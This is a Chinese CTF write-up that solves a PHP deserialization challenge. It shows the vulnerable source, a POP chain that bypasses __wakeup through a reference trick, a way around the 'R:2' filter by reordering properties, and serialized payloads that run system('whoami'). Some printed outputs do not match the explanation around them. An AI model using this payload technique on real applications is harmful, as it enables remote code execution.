源码
<?php
highlight_file(__FILE__);
class MGkk8
{public $a;public $b;public function rpl2(){$b = $this->b;if ($this->a == "RPG") {($b->a)($b->b."");}}
}
class KOkjs
{public $a;public $b;public function __toString(){$this->a->rpl2();}
}
class u1Y7U
{public $a;public $b;public function __toString(){$this->a->TiYM6();}
}
class QMRb7
{public $a;public $b;public function TiYM6(){$this->b->learn();}
}
class y97pu
{public $a;public $b;public $c;public function __invoke(){$this->a = $this->b."__INVOKE__";}public function __destruct(){$this->b = $this->c;die($this->a);}public function __wakeup(){$this->a = "";}
}
class m1_99
{public $a;public $b;public function __call($t1,$t2){$s1 = $this->b;$s1();}
}if(isset($_REQUEST['a'])){$c = $_REQUEST['a'];if(stripos($c,'R:2')!== false){die("no Reference");}unserialize($c);
}else {}
在现场没做出来,怎么也绕不过去那个wakeup,也没想明白那个检测R:2是为什么,回来在本地复现了一下感觉还是蛮简单的
首先明确pop链
MGkk8.rp12() -> KOkjs.__toString() -> y97pu.__destruct()
链子还是很简单的
关于y97pu.__destruct()
中触发KOkjs.__toString()
的原理,先看php手册,die()就是exit()
说明了如果exit当中有字符串的话会先将字符串打印再结束程序,在本地测试一下
是可以触发类中的__toString
的,因此可以从y97pu.__destruct()
链到KOkjs.__toString()
php在反序列化时如果有wakeup
,那么会先执行wakeup再进行unserialize,题目中的wakeup将a给置空了,因此在反序列化时a就为空,无法触发链条,那么该怎么绕过呢?
注意到,在y97pu.__destruct()
中的die()
之前有一个将c赋给b的操作,于是我们可以用引用将$a->b
设置为 $a->a
的引用,于是$a->b
现在和 $a->a
指向同一块内存,这时我们修改b的值的时候就相当于在修改a的值,就可以通过$this->b = $this->c;
将c的值通过b赋给a,进而触发链条,我们可以构造以下链条:
<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{public $a;public $b;public $c;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();
$a -> b = &$a -> a;
$a -> c= new KOkjs();
$a -> c = new KOkjs();
$a -> c -> a = new MGkk8();
$a -> c -> a -> b = new QMRb7();
$a -> c -> a -> b -> a = 'system';
$a -> c -> a -> b -> b = 'whoami';echo serialize($a);
//O:5:"y97pu":3:{s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}s:1:"b";N;s:1:"a";R:9;}
但是这里出现了R:2,那么这个R:2该怎么绕过呢?
php对象的序列化是按顺序处理的,序列化时会依次对进行序列化的对象创建一个编号,这里b引用的是第二个被序列化的对象也就是a,因此就是R:2,知道了R后面数字的含义,绕过就很简单了,只需要将y97pu
中的a和c换个位置就会改变序列化的顺序,从而让R后面的数字改变
payload:
<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{//这里将a和c的位置交换了public $c;public $b;public $a;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();//new y97pu() : 1
$a -> c= new KOkjs();//new KOkjs() :2
$a -> b = &$a -> a;//a : 9
$a -> c = new KOkjs();//new KOkjs() : 3
$a -> c -> a = new MGkk8();//new MGkk8() : 4
//$a -> c -> a -> a = 'RPG';//a : 5
$a -> c -> a -> b = new QMRb7();//b : 6
$a -> c -> a -> b -> a = 'system';//a : 7
$a -> c -> a -> b -> b = 'whoami';//b : 8echo serialize($a);
//O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}}